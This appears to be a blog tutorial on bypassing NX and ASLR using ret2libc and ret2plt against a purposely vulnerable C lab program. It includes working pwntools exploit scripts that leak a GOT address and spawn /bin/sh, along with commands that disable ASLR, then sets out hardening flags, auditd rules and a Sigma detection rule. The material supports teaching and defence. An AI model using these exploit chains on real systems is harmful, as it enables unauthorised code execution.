ret2libc and ret2plt: Leveraging Existing Code Without Shellcode

By Debraj Basak·Aug 1, 2026·17 min readExploit Development

NX killed shellcode. That is the short version of why this technique exists. The moment the stack stopped being executable, dropping a blob of \x31\xc0\x50... onto it and jumping in became a dead end. But the attacker still controls the saved return address, and the process is already linked against a giant executable library full of useful functions. So instead of injecting new code, you reuse what is already mapped. Point the return address at system() in libc, hand it "/bin/sh", and you have a shell without writing a single byte of shellcode.

Objective: Build an intentionally vulnerable ELF target, then defeat NX with ret2libc and defeat ASLR with ret2plt, chaining a GOT-based libc leak into a system("/bin/sh") call in both 32-bit and 64-bit. Every offensive stage is paired with how a defender sees it on Linux.


1. Why Shellcode Isn’t Always an Option

Two mitigations shape this entire tutorial:

  • NX / DEP marks the stack and heap non-executable. Your overflow still overwrites the return address, but you cannot execute data you planted there. This is the reason ret2libc was invented: redirect into existing executable code instead.
  • ASLR randomises the base of the stack, heap, and shared libraries on every run. Hardcoding an address for system() breaks the moment ASLR is on. This is the reason ret2plt exists: you leak a live libc address at runtime instead of guessing it.

The plan is code reuse. Nothing you jump to is code you wrote. You are living off the binary and its libraries, calling functions that were already loaded, already executable, and already trusted by the loader.


2. ELF Dynamic Linking Internals: PLT, GOT, and Lazy Binding

Both techniques stand on how ELF resolves calls into shared libraries. When a dynamically linked program calls puts, it does not call libc directly. It calls a stub in the Procedure Linkage Table (PLT), which jumps through a slot in the Global Offset Table (GOT).

ConstructFull NameWhat It Does
.pltProcedure Linkage TableExecutable stubs. Each stub begins with an indirect jmp through a GOT slot.
.got.pltGlobal Offset Table (PLT part)Writable table of resolved runtime pointers, one slot per imported function.
Lazy bindingThe dynamic linker resolves a symbol only on its first call. Until then the GOT slot points back into the resolver.
RELRORelocation Read-OnlyHardening that controls whether the GOT stays writable.

Lazy binding is the key idea. The program does not know libc’s runtime address for puts until puts is actually called. On that first call, control lands in the PLT stub, which jumps to a GOT slot that still points back into the PLT resolver stub. The resolver (_dl_runtime_resolve) walks the relocation and symbol tables (DT_JMPREL, DT_SYMTAB, DT_STRTAB), finds the real address of puts inside libc, writes it into the GOT slot, and jumps there. Every subsequent call reads the now-patched slot and jumps straight into libc.

Disassemble a stub to see this concretely:

objdump -d ./vuln64 -j .plt
0000000000401030 <puts@plt>:
  401030: ff 25 e2 2f 00 00   jmp   QWORD PTR [rip+0x2fe2]   # 404018 <puts@got.plt>
  401036: 68 00 00 00 00      push  0x0                      # relocation index
  40103b: e9 e0 ff ff ff      jmp   401020 <.plt>            # jump to resolver

The relocation records that drive _dl_runtime_resolve are visible too:

objdump -R ./vuln64
OFFSET             TYPE              VALUE
0000000000404018   R_X86_64_JUMP_SLOT  puts@GLIBC_2.2.5

The OFFSET here is the r_offset field of the Elf64_Rela entry: the exact GOT slot address that gets patched. Two facts fall out of this and drive everything below:

  1. The .plt address of puts is fixed inside a non-PIE binary. It is part of the executable, so ASLR does not move it. You can always call puts@plt.
  2. After the first call, the GOT slot for puts holds a live libc pointer. Read it and you have defeated library ASLR.

Flowchart showing ELF lazy binding: a call to puts travels through the PLT stub into the GOT slot, which initially redirects to the dynamic linker resolver that patches the slot with the real libc address for all future calls.
Lazy binding means the GOT slot holds a live libc pointer after the first call – the foundation every ret2plt leak exploits.

3. Binary Protections Inventory: checksec and What Each Flag Means

Before touching a target, enumerate its defenses. checksec (shipped with pwntools and pwndbg) reads them straight out of the ELF header.

checksec --file=./vuln32
FlagMeaningImpact on This Attack
NXStack/heap non-executableForces code reuse. This is what ret2libc bypasses.
ASLRRandomised library/stack/heap basesForces a runtime leak. This is what ret2plt bypasses.
PIEBinary’s own .text/PLT/GOT randomisedIf on, you must leak a code pointer first to rebase the PLT.
RELRO NoneGOT fully writableLazy binding active; leak targets plentiful.
RELRO Partial.got read-only, .got.plt writableDefault on most distros; lazy binding preserved.
RELRO Full (-z now)Whole GOT resolved at startup, read-onlyYou cannot overwrite the GOT, but you can still read it. ret2plt leaks still work.
Stack CanaryGuard word before saved return addressBlocks the naive overflow entirely; out of scope here.
SHSTK / IBT (CET)Shadow stack + indirect branch trackingIf enforced in hardware, classic ret chains need a bypass first.

For the labs we deliberately compile with No canary, No PIE, and No RELRO, then toggle ASLR at the kernel level per lesson. That isolates each mitigation so you learn one bypass at a time.


4. Building the Lab Target

Here is the vulnerable program. It uses gets, which has no bounds check, into a 64-byte stack buffer.

// vuln_lab.c  -  intentionally vulnerable lab target
#include <stdio.h>
#include <string.h>

void vuln(void) {
    char buf[64];
    puts("Input: ");
    gets(buf);          // unsafe: no bounds check, classic stack overflow
}

int main(void) {
    vuln();
    puts("Done.");
    return 0;
}

Compile a 32-bit and a 64-bit variant:

# 32-bit, no canary, no PIE, no RELRO
gcc -m32 -fno-stack-protector -no-pie -Wl,-z,norelro -o vuln32 vuln_lab.c

# 64-bit, same hardening disabled
gcc -fno-stack-protector -no-pie -Wl,-z,norelro -o vuln64 vuln_lab.c

Toggle ASLR for staged lessons. Run everything inside a VM or container you control.

# Disable ASLR (for the first ret2libc lesson only)
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

# Restore full ASLR (for the ret2plt lessons)
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space

Find the offset to the saved return address with a de Bruijn pattern. In pwndbg:

# inside gdb/pwndbg
cyclic 200
run <<< $(cyclic 200)
# on crash, pwndbg prints the fault. Feed the value back:
cyclic -l 0x6161616c        # -> 76 for the 32-bit build

For the 64-bit build the same procedure yields 72 bytes to $rip. Confirm both against your own crash, do not trust a number from a tutorial blindly. The compiler version and alignment padding can shift it.


5. ret2libc Without ASLR (32-bit)

Start with ASLR off so libc addresses are stable. The 32-bit cdecl convention passes arguments on the stack, laid out after the return slot. To call system("/bin/sh") you build a fake frame:

[ 76 bytes padding ][ &system ][ &exit ][ &"/bin/sh" ]
                        ^ new EIP   ^ return addr for   ^ arg to system
                                      system when it     (read from stack)
                                      returns

When vuln returns, EIP becomes system. system reads its argument from the stack (the pointer to "/bin/sh"), and when it finishes it returns into exit for a clean shutdown.

pwntools resolves all three addresses for you:

# exploit_ret2libc_noaslr.py
from pwn import *

elf  = context.binary = ELF('./vuln32')
libc = elf.libc                     # the libc this binary is linked against

OFFSET      = 76                    # confirmed from cyclic
system_addr = libc.sym['system']    # fixed while ASLR is off
exit_addr   = libc.sym['exit']
bin_sh_addr = next(libc.search(b'/bin/sh\x00'))

payload  = b'A' * OFFSET
payload += p32(system_addr)
payload += p32(exit_addr)           # clean return after the shell exits
payload += p32(bin_sh_addr)

p = process('./vuln32')
p.recvline()
p.sendline(payload)
p.interactive()

If you would rather source the addresses by hand, "/bin/sh" lives inside libc:

strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh

Run it, and gets overflows the buffer, the saved EIP becomes system, and you drop into a shell. That is ret2libc in its purest form. It only works because ASLR is off. Turn ASLR back on and libc.sym['system'] becomes a moving target. That is the problem ret2plt solves.


6. ret2libc on x86-64: Calling Conventions and Stack Alignment

On x86-64, the System V ABI passes the first integer argument in RDI, not on the stack. You cannot just lay the pointer after the return slot. You need a gadget that pops the stack into RDI and returns. Find one:

ROPgadget --binary ./vuln64 --rop | grep "pop rdi"
# or
ropper -f ./vuln64 --search "pop rdi; ret"

You are looking for something like pop rdi ; ret. Copy its address. Do not hardcode the value from this page, derive your own from your own binary.

The 64-bit frame to call system("/bin/sh") becomes:

[ 72 padding ][ pop_rdi; ret ][ &"/bin/sh" ][ &system ]
                   ^ new RIP        ^ popped into RDI   ^ called with RDI set

There is one gotcha that cost me an hour the first time I hit it, so learn it now. Modern glibc system (and other functions) execute movaps instructions that require the stack to be 16-byte aligned. When you enter through a ROP chain, the stack is often off by 8 bytes, and system crashes deep inside with a SIGSEGV on a movaps xmm..., [rsp+...]. The fix is trivial once you know it: insert a single bare ret gadget before the libc call. That one ret pops 8 bytes and realigns the stack to a 16-byte boundary.

# find a bare ret for the alignment fix
ROPgadget --binary ./vuln64 --rop | grep ": ret$"

If your system call segfaults immediately inside libc rather than at your gadget, alignment is the first thing to check.


A robotic arm inserting a thin alignment shim under a stack of heavy plates, symbolising the single ret gadget inserted to enforce 16-byte stack alignment before calling system in a 64-bit ROP chain.
One bare `ret` gadget acts as the alignment shim – without it, `movaps` in glibc’s system() crashes the chain before the shell ever spawns.

7. ret2plt: Leaking a libc Address Through the GOT

Turn ASLR back on:

echo 2 | sudo tee /proc/sys/kernel/randomize_va_space

Now libc.sym['system'] is randomised on every run, so the static exploit above fails. But recall two facts from Section 2. The .plt address of puts is fixed in a non-PIE binary, and after puts runs once its GOT slot holds a live libc pointer.

The leak is one line of ROP: call puts@plt with puts@got as its argument. That makes puts print the resolved runtime address of puts itself. Since main already calls puts before the overflow (the “Input:” prompt), the GOT slot is guaranteed to be resolved and pointing into libc, not back at the resolver. That timing matters: if you pick a symbol that has never been called under lazy binding, its GOT slot still points into the PLT stub and your “leak” is a useless local address. Leak something you know has already run.

Once you have the runtime address of puts, the libc base is arithmetic:

libc_base = leaked_puts_addr - libc.sym['puts']

From the base you can compute every other libc symbol, including system and the "/bin/sh" string. But the program will keep running after the leak, so you need it to come back for a second payload. Return into main after the puts call. The program re-prompts, and you send the real ret2libc payload with correctly rebased addresses.

For the 32-bit build the leak frame is:

[ 76 padding ][ &puts@plt ][ &main ][ &puts@got ]
                  ^ new EIP   ^ return  ^ argument to puts
                              into main (prints its own libc address)

Step-by-step attack flow diagram showing how a ret2plt exploit calls puts@plt with the puts@got address to leak a live libc pointer, rebases the libc base address, returns to main, then sends a second payload calling system with the computed address.
The two-payload pattern: leak a live GOT pointer in the first overflow, rebase libc, then deliver system(“/bin/sh”) in the second.

8. Chaining ret2plt to ret2libc: The Two-Payload Pattern

Put both stages in one script. Payload 1 leaks and re-enters main. Payload 2 spawns the shell using addresses computed from the leak.

32-bit full chain

# exploit_ret2plt_ret2libc.py
from pwn import *

elf  = context.binary = ELF('./vuln32')
libc = elf.libc
p    = process('./vuln32')

OFFSET = 76

# --- PAYLOAD 1: ret2plt leak ---
payload1  = b'A' * OFFSET
payload1 += p32(elf.plt['puts'])      # call puts@plt
payload1 += p32(elf.sym['main'])      # return into main for a second shot
payload1 += p32(elf.got['puts'])      # argument: address of puts's GOT slot

p.recvline()
p.sendline(payload1)

# --- parse the 4-byte leak ---
leak = u32(p.recv(4))
log.success(f'puts @ {hex(leak)}')
libc.address = leak - libc.sym['puts']    # rebase the whole libc
log.success(f'libc base @ {hex(libc.address)}')

# --- PAYLOAD 2: ret2libc with computed addresses ---
p.recvline()
payload2  = b'A' * OFFSET
payload2 += p32(libc.sym['system'])
payload2 += p32(libc.sym['exit'])
payload2 += p32(next(libc.search(b'/bin/sh\x00')))

p.sendline(payload2)
p.interactive()

Setting libc.address in pwntools rebases every symbol lookup automatically, so libc.sym['system'] after the leak returns the correct live address.

64-bit full chain

The 64-bit version threads the pop rdi; ret gadget through both stages and adds the alignment ret before the final system call. Fill in POP_RDI and RET_GADGET from your own ROPgadget output.

# exploit_ret2plt_x64.py
from pwn import *

elf  = context.binary = ELF('./vuln64')
libc = elf.libc
p    = process('./vuln64')

OFFSET     = 72              # confirm with cyclic
POP_RDI    = 0x0             # <-- fill from: ROPgadget --binary ./vuln64 | grep "pop rdi"
RET_GADGET = 0x0             # <-- fill from: ROPgadget --binary ./vuln64 | grep ": ret$"

# --- PAYLOAD 1: leak puts via ret2plt ---
payload1  = b'A' * OFFSET
payload1 += p64(POP_RDI)
payload1 += p64(elf.got['puts'])      # argument in RDI
payload1 += p64(elf.plt['puts'])      # call puts@plt
payload1 += p64(elf.sym['main'])      # re-enter main

p.recvline()
p.sendline(payload1)

leak = u64(p.recv(6).ljust(8, b'\x00'))   # 6 valid bytes on x86-64
log.success(f'puts @ {hex(leak)}')
libc.address = leak - libc.sym['puts']

# --- PAYLOAD 2: system("/bin/sh") ---
p.recvline()
bin_sh = next(libc.search(b'/bin/sh\x00'))

payload2  = b'A' * OFFSET
payload2 += p64(RET_GADGET)           # 16-byte stack alignment fix
payload2 += p64(POP_RDI)
payload2 += p64(bin_sh)
payload2 += p64(libc.sym['system'])

p.sendline(payload2)
p.interactive()

Note the 64-bit leak reads six bytes, not eight. User-space addresses on x86-64 are 48-bit, so the top two bytes are always zero and puts stops at the first null. Pad the six received bytes back up to eight with ljust before unpacking.


9. Edge Cases and Gotchas

SituationWhat HappensHandling
Full RELROGOT is read-only, so you cannot overwrite a slotret2plt leaks still work because you only read the slot, never write it
Uncalled symbolIts GOT slot points at the PLT resolver, not libcLeak a symbol already invoked before the overflow (puts from the prompt)
PIE enabledThe binary’s own PLT/GOT are randomised tooLeak a code pointer first, compute the PIE base, then rebase elf.plt/elf.got
movaps crash in systemStack not 16-byte aligned on x86-64Prepend a single bare ret gadget before the libc call
Remote libc unknownYou cannot resolve system offset locallyMatch the leak against libc-database or pwntools LibcSearcher; the low 12 bits of a leak fingerprint the exact build
-fno-plt buildCalls go through .got directly, no PLT stubThe GOT slot itself is the call target; leak strategy still applies through .got

The remote-libc case is worth internalising. The last three hex digits of any leaked pointer are page-offset invariant across ASLR runs, so a single leak is enough to identify the precise glibc version in a database of thousands. That is why partial leaks are operationally lethal, and it is a fact defenders should sit with.


10. Common Attacker Techniques

TechniqueDescription
ret2libcRedirect a saved return address into a libc function such as system to bypass NX
ret2pltCall puts@plt/printf@plt on a GOT slot to leak a live libc address and defeat ASLR
GOT overwriteWith a writable GOT (No/Partial RELRO), overwrite a slot to hijack a later call
ret2dl_resolveForge relocation/symbol entries to make _dl_runtime_resolve resolve an arbitrary symbol without any leak
ROP chainingString together pop; ret gadgets to set up arguments and call sequences under NX

11. Defensive Strategies & Detection

Prevention at compile and link time

FlagEffect
-fstack-protector-strongInserts a canary that detects the overflow before ret is reached
-D_FORTIFY_SOURCE=2Replaces gets/strcpy with bounds-checked variants at compile time
-Wl,-z,relro,-z,nowFull RELRO; GOT resolved at startup and marked read-only, killing GOT overwrite
-pie -fPIERandomises the binary base so PLT/GOT are not statically known
Replace gets with fgets/read + sizeRemoves the root cause entirely

At the kernel, keep /proc/sys/kernel/randomize_va_space = 2. On CET-capable hardware, enforced SHSTK breaks classic ret chains because the shadow stack copy of the return address will not match, and IBT forces indirect branches to land on valid endbr64 targets.

Runtime detection on Linux

The reliable tell is the payoff itself: a process that has no business spawning a shell suddenly calls execve("/bin/sh", ...). A compiled C daemon that never legitimately calls system should never exec a shell. Watch it with auditd:

# audit every execve
auditctl -a always,exit -F arch=b64 -S execve -k shell_exec
# audit stack/heap being made executable (ROP stage 2 patterns)
auditctl -a always,exit -F arch=b64 -S mprotect -k mprotect_exec
SignalDetail
execve("/bin/sh") under a network daemonPrimary indicator; correlate ppid/auid
mprotect with PROT_EXECROP chains that flip page permissions before staging
Intel PT branch anomaliesAnomalous branch-to-ret ratios expose ROP flow
/proc/<pid>/maps changeNew executable libc range after an overflow; hook mmap via eBPF kprobes

For a live demonstration to students, strace the shell spawn so they can see it in the syscall trace:

strace -f -e trace=execve,mprotect ./vuln32

Sigma rule (auditd source)

title: Shell Spawned by Non-Interactive Network Process
status: experimental
logsource:
  product: linux
  service: auditd
detection:
  selection:
    type: SYSCALL
    syscall: execve
    exe|endswith:
      - '/bin/sh'
      - '/bin/bash'
      - '/bin/dash'
  filter_legit:
    ppid|in:
      - <known_shell_parent_pids>   # tune per environment
  condition: selection and not filter_legit
falsepositives:
  - Legitimate shell scripts invoked by daemons
level: high
tags:
  - attack.execution
  - attack.t1203

If you bridge these labs to Windows PE/ROP, the analogue for detecting a spawned shell is Sysmon Event ID 1 (Process Create, inspect the CommandLine and unexpected parent), with the ETW provider Microsoft-Windows-Kernel-Process as the underlying source. Sysmon Event ID 10 (ProcessAccess) covers memory-scraping analogues, and Event ID 8 (CreateRemoteThread) matters if the payload pivots to injection after landing the shell.


A guardian figure assembled from layered shields of increasing strength representing the stacked defensive mitigations against ret2libc attacks: stack canaries, RELRO, PIE, ASLR, and CET shadow stack.
Defence-in-depth stacks mitigations so that defeating one layer – NX, ASLR, or RELRO – alone is never sufficient to reach the shell.

12. Tools for ret2libc and ret2plt Analysis

ToolDescriptionLink
pwntoolsELF parsing, payload building, leak unpackingpwntools.com
pwndbg / gef / pedaGDB plugins for offsets, PLT/GOT views, live tracinggithub.com
ROPgadgetFind pop rdi; ret and alignment ret gadgetsgithub.com
ropperAlternative gadget finder with search syntaxgithub.com
objdumpDisassemble PLT stubs, dump relocationsgnu.org
readelfInspect ELF sections .plt/.got/.got.pltgnu.org
checksecEnumerate NX, PIE, RELRO, canary, CETpwntools.com
libc-database / LibcSearcherFingerprint remote libc from a leakgithub.com

13. MITRE ATT&CK Mapping

TechniqueMITRE IDDetection
Exploitation for Client ExecutionT1203Crash/exploit telemetry, unexpected execve post-overflow
Exploit Public-Facing ApplicationT1190Applies when the vulnerable binary is a network service
Hijack Execution FlowT1574PLT/GOT resolution abuse; monitor GOT integrity and control-flow anomalies
Command and Scripting Interpreter: Unix ShellT1059.004Shell spawn from a non-interactive process (auditd execve)

ATT&CK has no dedicated sub-technique for ret2libc or ROP as of the current Enterprise matrix. T1203 is the closest canonical mapping for exploit-driven code execution, and T1574 covers execution-flow hijacking broadly. Confirm the technique IDs against the live matrix at attack.mitre.org before publishing.


Summary

  • Code reuse defeats NX: you never inject shellcode, you return into libc functions that are already mapped and executable.
  • ret2plt defeats ASLR by calling puts@plt on puts@got to leak a live libc address, then rebasing all of libc from leaked - libc.sym['puts'].
  • The two-payload pattern is the workhorse: leak and return to main, then send system("/bin/sh") with computed addresses.
  • On x86-64, arguments go in RDI via a pop rdi; ret gadget, and a spare ret fixes the 16-byte movaps alignment crash.
  • Full RELRO and PIE raise the bar but do not close it; the leak still reads a read-only GOT, and a leaked code pointer rebases a PIE binary.
  • Detect the payoff, not the chain: an unexpected execve("/bin/sh") under a daemon, caught by auditd and shipped as the Sigma rule above.

Related Tutorials

References

Get new drops in your inbox

Windows internals, exploit dev, and red-team write-ups - no spam, unsubscribe anytime.